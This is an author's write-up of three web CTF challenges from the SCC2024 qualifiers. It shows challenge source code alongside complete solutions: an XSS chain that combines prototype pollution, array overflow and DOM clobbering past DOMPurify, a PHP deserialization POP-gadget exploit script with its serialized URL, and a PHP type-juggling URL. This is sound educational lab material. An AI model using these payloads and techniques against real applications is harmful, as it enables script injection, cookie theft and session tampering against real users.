WebSec. CTFs. Research.

SCC2024 CTF Quals - Author Writeup

This year, I was asked to write some Web challenges for the Serbian Cybersecurity Challenge Qualifications - it was a really fun experience hosting a CTF after a long time :)

In summary, I wrote the following challenges:

Challenge name

Difficulty

Solves

LooooongNooooote

⭐⭐⭐⭐

1

BabyPOP

⭐⭐⭐

41

loooose

⭐⭐

97

The goal was to try write more balanced challenges but I was relatively low on time so I ended up doing one difficult challenge and others being very beginner-friendly challs.

If you intend to try any of these challenges for practice, I made the source code public on my GitHub .

web/LooooongNooooote:

Challenge Details:


Author : DreyAnd
Difficulty : Hard
Description : AAAAAH, someone has ruined ShortNote! It’s time for revenge. This time, I’ve come up with a new, modern note-taking app, I even apply sanitization! 😈

Infrastructure requirements : Docker, ZIP

Challenge Source Code: https://github.com/DreyAnd/SCC2024-CTF-My-Challs/tree/main/LooooongNooooote/server

Flag: SCC{Th1s_W4s_T00_l000ng_S0rry_AAAAAAAAAA!}

Challenge Writeup:


Looking at src/app.js, gives as a really simple Express web app, with a few routes defined:

const express = require('express');
var path = require('path');
var bot = require('./bot.js');

const app = express();
const PORT = process.env.PORT || 7777;

app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    res.render('index');
});

app.get('/checkNote', (req, res) => {
    res.render('checkNote');
});

app.post('/checkNote', (req, res) => {
    const noteUrl = req.body.noteUrl;
    bot.openURL(noteUrl);
    res.render("visit.ejs")
});

app.listen(PORT, () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});

It is evident that this will be a client-side challenge, considering the usual headless browser bot setup. Let’s snoop into the bot source code at src/bot.js:

const puppeteer = require('puppeteer');
const origin = process.env.DOMAIN || "http://localhost:7777";

const browser_options = {
    headless: true,
    ignoreHTTPSErrors: true,
    args: [
        "--no-sandbox",
        "--ignore-certificate-errors",
        "--disable-web-security",
    ],
    executablePath: "/usr/bin/chromium-browser"
};

function isSameOrigin(url) {
    const urlObj = new URL(url);
    const originObj = new URL(origin);
    return urlObj.origin === originObj.origin;
}

async function openURL(url) {
    console.log(url)
    if (!url.startsWith('http://') && !url.startsWith('https://')) {
        console.log('URL must start with http:// or https://');
        return;
    }

    if (!isSameOrigin(url, origin)) {
        console.log('URL does not fall within the same origin.');
        return;
    }

    const browser = await puppeteer.launch( browser_options );

    try {
        let page = await browser.newPage();

        await page.setCookie({
            name: 'flag',
            value: process.env.FLAG || 'SCC{Th1s_W4s_T00_l000ng_S0rry_AAAAAAAAAA!}',
            domain: new URL(origin).hostname,
            path: '/',
            httpOnly: false,
        });

        await page.goto(url, {
            waitUntil: 'networkidle2',
            timeout: 5000,
        });
        await browser.close();

        console.log(`Successfully opened ${url}`);
    } catch (error) {
        console.error('Error:', error);
        await browser.close();
    }
}

module.exports.openURL = openURL;

Great! The flag is inside the cookie and it’s not httpOnly , meaning all we have to do is find an XSS within the challenge to steal it.

The website looks like a classic note taking app: Image

The main functionality is within the views/index.ejs, let’s take a look at the JS within it:

    import queryString from 'https://cdn.jsdelivr.net/npm/[email protected]/+esm'
    import uuidBrowser from 'https://cdn.jsdelivr.net/npm/[email protected]/+esm'
    import { timeout } from './js/debug.js'

    document.addEventListener('DOMContentLoaded', fillFormWithQueryParams);

    let notes = {}

    function sleep(milliseconds) {
        return new Promise(resolve => setTimeout(resolve, milliseconds));
    }

    function submitForm() {
        const form = document.getElementById('noteForm');
        const data = new FormData(form);
        const queryParams = new URLSearchParams(data).toString();
        window.location.href = `/?${queryParams}`;
    }


    function generateUUID(userID){
        const user_uuid = uuidBrowser(userID)
        notes["uuid"] = user_uuid.toString()
    }

    function GenerateCustomUUID(){ // the UUIDs are too large, we don't have many users so it doesn't matter anyway. 
        if (!notes["uuid"] || notes["uuid"].length != 36) {
            return;
        } 

        let custom_id = Number((Math.random() * (1000 - 999) + 999).toString().replace('.', ''))
        let random_uuid = `${notes["uuid"][24]}${custom_id}` // add UUID suffix for more randomness! 

        return random_uuid
    }

    function fillNotePreview(){
        document.getElementById('previewUsername').textContent = document.getElementById('username').value;
        document.getElementById('previewNoteName').textContent = document.getElementById('noteName').value;
        document.getElementById('previewNoteContent').textContent = document.getElementById('noteContent').value;
        document.getElementById('previewUserID').textContent = document.getElementById('userID').value;
    }
    
    function fillFormWithQueryParams() {
        const queryParams = queryString.parse(location.search, {arrayFormat: 'bracket'});
        const username = queryParams['username'];
        const userID = queryParams['userID'];
        const noteName = queryParams['noteName'];
        const noteContent = queryParams['noteContent'];
        const previewNote = queryParams['previewNote'];


        if (username && noteName && noteContent ) {
            notes[username] = {
                [noteName]:noteContent
            };
            
            document.getElementById('username').value = username;
            document.getElementById('noteName').value = noteName;
            document.getElementById('noteContent').value = noteContent;
        }

        if (userID) {
            if (notes["uuid"]) {
                document.getElementById('userID').textContent = GenerateCustomUUID();
                generateUUID(userID); 
            } else {
                generateUUID(userID)

            }
        }

        if (previewNote){
            fillNotePreview()

            if (!notes["uuid"]) {
                generateUUID()
            }

            document.getElementById('previewUserID').innerHTML = DOMPurify.sanitize(GenerateCustomUUID(), {WHOLE_DOCUMENT: false, KEEP_CONTENT: true, SANITIZE_DOM: false}); 
            modal.style.display = "block";
        }

        timeout()

    }

    var modal = document.getElementById('myModal');
    var btn = document.getElementById('myBtn');
    var span = document.getElementsByClassName('close')[0];
    
    var noteTextDiv = document.getElementById('noteText');
    
    btn.onclick = function() {
        fillNotePreview()
        modal.style.display = "block";
    }
    
    span.onclick = function() {
        modal.style.display = 'none';
    }
    
    window.onclick = function(event) {
        if (event.notes == modal) {
            modal.style.display = 'none';
        }
    }

It’s quite long, so we will be going chunk by chunk.

Part 1: Our limited prototype

First off, the easiest thing to notice is our DOM XSS sink inside this condition, since it seems like the only place where we could insert our payload:

        if (previewNote){
            fillNotePreview()

            if (!notes["uuid"]) {
                generateUUID()
            }

            document.getElementById('previewUserID').innerHTML = DOMPurify.sanitize(GenerateCustomUUID(), {WHOLE_DOCUMENT: false, KEEP_CONTENT: true, SANITIZE_DOM: false}); 
            modal.style.display = "block";
        }

It seems like we will be having some troubles with DOMPurify later on as well, but for now, let’s focus on reaching the sink with our user-supplied input.

Let’s take a look into GenerateCustomUUID():

    function GenerateCustomUUID(){ // the UUIDs are too large, we don't have many users so it doesn't matter anyway. 
        if (!notes["uuid"] || notes["uuid"].length != 36) {
            return; 
        } 

        let custom_id = Number((Math.random() * (1000 - 999) + 999).toString().replace('.', ''))
        let random_uuid = `${notes["uuid"][24]}${custom_id}` // add UUID suffix for more randomness! 

        return random_uuid
    }

It seems like it’s some weird UUID generation function, that generates a random number and prefixes it with the 24th char from notes["uuid"]. Seems not useful, even if we could control notes["uuid"] we can just write one byte into the DOM.. right?

Upon page load, fillFormWithQueryParams gets called:

document.addEventListener('DOMContentLoaded', fillFormWithQueryParams);

Let’s dig into fillFormWithQueryParams:

    
        const queryParams = queryString.parse(location.search, {arrayFormat: 'bracket'});
        const username = queryParams['username'];
        const userID = queryParams['userID'];
        const noteName = queryParams['noteName'];
        const noteContent = queryParams['noteContent'];
        const previewNote = queryParams['previewNote'];


        if (username && noteName && noteContent ) {
            notes[username] = {
                [noteName]:noteContent
            };
            
            document.getElementById('username').value = username;
            document.getElementById('noteName').value = noteName;
            document.getElementById('noteContent').value = noteContent;
        }

        if (userID) {
            if (notes["uuid"]) {
                document.getElementById('userID').textContent = GenerateCustomUUID();
                generateUUID(userID); 
            } else {
                generateUUID(userID)

            }
        }
        ...

It uses the query-string library to get some parameter values, after which it fills the notes object with the user-supplied note information:

if (username && noteName && noteContent ) {
            notes[username] = {
                [noteName]:noteContent
            };
            
            document.getElementById('username').value = username;
            document.getElementById('noteName').value = noteName;
            document.getElementById('noteContent').value = noteContent;
        }

Later on, if the user’s uuid is not generated yet, it generates one for him:

if (userID) {
            if (notes["uuid"]) {
                document.getElementById('userID').textContent = GenerateCustomUUID();
                generateUUID(userID); 
            } else {
                generateUUID(userID)

            }
        }

Cool! Is this how we can write into notes["uuid"], let’s take a look at generateUUID():

    function generateUUID(userID){
        const user_uuid = uuidBrowser(userID)
        notes["uuid"] = user_uuid.toString()
    }

The uuidBrowser function comes from the uuid-browser library and per documentation actually does not take any arguments, so it’s a mistake on the developer side:

Image

So in conclusion, whatever userID we provide, it doesn’t matter, the UUID will always be random and we won’t be able to control it.

What can we do? What if we could overwrite notes["uuid"]. If you made this guess by now you were right, it’s possible.

At this peice of code, we notice a little PP gadget:

notes[username] = {
                [noteName]:noteContent
            };

We can do a limited Client-Side Prototype Pollution .

While this gadget does not help pollute the global Object.prototype, polluting the prototype chain of the notes is completely enough for us in this scenario:

Image

Simply by overwriting the notes["uuid"] value and not providing the userID parameter (so that we don’t reach the generateUUID() to get our payload overwritten) we can finally reach our one-byte write into the DOM.. yay?

Image

Part 2: Overflowing the web

Okay.. so we can write a byte into the DOM and the string that it’s being taken from has to be 36 bytes long inside the generateCustomUUID() function.

Wait.. string? Are strings the only data types that have a .length property in Javascript?

If you’re solving the challenge along me, here’s a little hint:

const queryParams = queryString.parse(location.search, {arrayFormat: 'bracket'});

The query parser library supports passing parameters as arrays, so ?noteContent[]=a&noteContent[]=b would result in a,b.

So what if we pass an array, in which, at the 24th index, we have a payload that overflows our current one-byte write at notes["uuid"][24].

I.e: [1,2,3,...,23,<svg/onload=alert()>,...,35,36]

This would let us pass a full-blown payload into the DOM!

We can generate a payload like that via the following code:

let payload = '<svg/onload=alert()>'
let exp = "noteContent[]=A&";

for (let i = 0; i < 36; i++) {
    if (i == 34) {
        exp += "noteContent[]=A"
        break
    }
    if (i == 23) {
        exp += `noteContent[]=${payload}&`;
    } else {
        exp += "noteContent[]=A&";
    }
}

console.log(exp);

Finally testing our payload we are able to get it to reach our innerHTML sink: Image

But wait, why is it not triggering? Time to bypass DOMPurify…

Part 3: Clobbering the clobberable

Okay we have our CSPP gadget & array overflow and our payload reaches the sink, all that is left is to somehow bypass DOMPurify.

DOMPurify is the last version so looking for some previous bypasses won’t work, however, if we look at the config:

DOMPurify.sanitize(GenerateCustomUUID(), {WHOLE_DOCUMENT: false, KEEP_CONTENT: true, SANITIZE_DOM: false});

We can notice that SANITIZE_DOM option disables DOM Clobbering protection, this has to be intentional.

What can we clobber though? Well.. there is a loaded JS file we did miss which is /js/debug.js:

function sleep(milliseconds) {
    return new Promise(resolve => setTimeout(resolve, milliseconds));
}

function timeout(){
    if(window.debug) {
        setTimeout(debug.timeout, 500)
    } else {
        sleep(1000) // decrease load times
    }
}

export { timeout };

The exported timeout() function seems to be called after our payload is inserted - useful!

Per MDN:

The global setTimeout() method sets a timer which executes a function or specified piece of code once the timer expires.

So if we can find a way to set the value of debug.timeout we can call any JS function we want.

I won’t go into details of how DOM Clobbering works since it’s a sizeable topic, but it’s a classic x.y clobbering scenario.

TLDR; HTML id and name attributes also exist within JS window so you can abuse that to define certain objects/properties.

To define debug.timeout we can do the following: <a id="debug"></a><a id="debug" name="timeout" href="cid:alert(document.domain)"></a>

The anchor href contains the actual payload we want to trigger, prefixed by either ftp, ftps, tel, mailto, callto, sms, cid and xmpp since they are the only URI-schemes allowed by DOMPurify. The reason we need to use them is that it prevents the browser from appending the http(s):// prefix which ruins our payload.

Let’s regenerate the final payload and see if it works:

let payload = '<a id="debug"></a><a id="debug" name="timeout" href="cid:alert(document.domain)"></a>'
let exp = "noteContent[]=A&";

for (let i = 0; i < 36; i++) {
    if (i == 34) {
        exp += "noteContent[]=A"
        break
    }
    if (i == 23) {
        exp += `noteContent[]=${payload}&`;
    } else {
        exp += "noteContent[]=A&";
    }
}

console.log(exp);

Finally, we get our XSS pop-up: Image

In the end, this challenge got only one solve during the CTF, GGs.

Also, I want to congratulate all the solvers from twitter 🎉:

web/babyPOP:

Challenge Details:


Author : DreyAnd
Difficulty : Medium
Description : Fellow pwners love to ROP.. let’s introduce it to the web!
Challenge Source Code: https://github.com/DreyAnd/SCC2024-CTF-My-Challs/tree/main/babyPOP/server

Infrastructure requirements : docker, ZIP

Flag: SCC{W3lc0m3_t0_pHp_P0P_G4dg3ts}

Challenge Writeup:


The challenge difficulty is not really balanced, unfortunately, since I didn’t have time to make more medium-level challenges. The writeup for the following ones will be quite easy, hence I won’t go into details as much, feel free to PM me with any questions.

This is the structure of the challenge:

├── classes
│   └── Logger.php
├── config.php
├── hidden
│   └── flag.php
├── index.php
├── login.php
├── logout.php
└── register.php

After we register/login we land on index.php, which contains the following line:

    <h5 class="my-5">Developer settings: <?php if($_SESSION['developerSettings'] == "givemeflag"){ echo $flag;} else { echo "NULL";} ?></h5>

So if we want to retrieve the flag we somehow have the write into $_SESSION['developerSettings'].

If we look at classes/Logger.php we notice a great POP gadget for that:

<?php

class Logger {
    public $timestamp;

    function __construct(){
        if(!isset($this->timestamp)) {
            $this->timestamp = "01-01-2024";
        }
    }
    function __destruct(){
        $devSettings = $this->timestamp;
        $_SESSION['developerSettings'] = $devSettings;
    }
}

?>

We need a way to call it, however - logout.php got us covered:

<?php

include 'classes/Logger.php';

session_start();
$_SESSION = array();

if(isset($_GET['timestamp']) && !empty($_GET['timestamp'])){
    unserialize($_GET['timestamp']);
    header("location: index.php");
    exit; // Prevent developers from logging out and keep track of their work.
    
} else {
    session_destroy();
    header("location: login.php");
    exit;
}

?>

It has our class loaded and allows us to trigger PHP deserialization via timestamp parameter which ends up inside the unserialize() call.

All that is left is to build an exploit for the POP gadget:

<?php 

class Logger {
    public $timestamp;

    function __construct(){
        $this->timestamp = "givemeflag";
    }

}

$exp = new Logger();

echo urlencode(serialize($exp));

?>

All that is left is to pass the exploit via the following URL:

http://127.0.0.1:1337/logout.php?timestamp=O%3A6%3A%22Logger%22%3A1%3A%7Bs%3A9%3A%22timestamp%22%3Bs%3A10%3A%22givemeflag%22%3B%7D

Once you login again, you get greeted with the flag: Image

web/looooose:

Challenge Details:


Author : DreyAnd
Difficulty : Easy
Description : Take a peek at our book collection! Grab a few reads, but leave some for others too, okay? Sharing is caring!

Challenge Source Code: https://github.com/DreyAnd/SCC2024-CTF-My-Challs/tree/main/loooose/server

Infrastructure requirements : docker, ZIP

Flag: SCC{wh0_n33ds_c4st1ng_Wh3n_Y0u_Can_p0p_4rrays}

Challenge Writeup:


This is the whole source code of the challenge:

<?php

ini_set('display_errors','Off');
error_reporting(0);

include 'views/index.html';
include 'hidden/flag.php';

function popup($msg){
    echo '<script>alert(`' . $msg . '`);</script>';
}

if(!isset($_GET['book']) || empty($_GET['book'])){
    die();
} else {
    $book = $_GET['book'];

    if(strtolower($book) === "flag"){
        popup("You don't have enough funds to buy this book.");
        die();
    }

    if(isset($_GET['del']) && is_array($book)) {
        $del = (int)$_GET['del'];
        
        if(count($book) <= 1) {
            popup('Our security system has detected a potential threat, and your actions have been logged.');
            die();
        }

        for($i=0;$i<$del;$i++){ // No limit checks? We don't care, right?
            array_pop($book); 
        }
    } 
    
    if ($book == NULL) {
        popup($flag);
    } else {
        popup('Book added to cart.');
    }
}

?>

It’s a simple PHP type juggling challenge. We know that array(0) == NULL in PHP: Image

Note: It has to be an empty array.

The array_pop($book); deletes every book we specify, so if we pass an array and delete the same amount of items, we end up with a zero-length array, which we need.

Final solution URL:

http://127.0.0.1:1337/?book[]=a&book[]=b&del=2

Image

Outro:

That’s it! Thanks for reading, hope you understood everything and don’t hesitate to PM me with any questions.

It was a fun experience hosting a CTF after a long time and I hope to come up with even more interesting challenges next time if time allows it ;)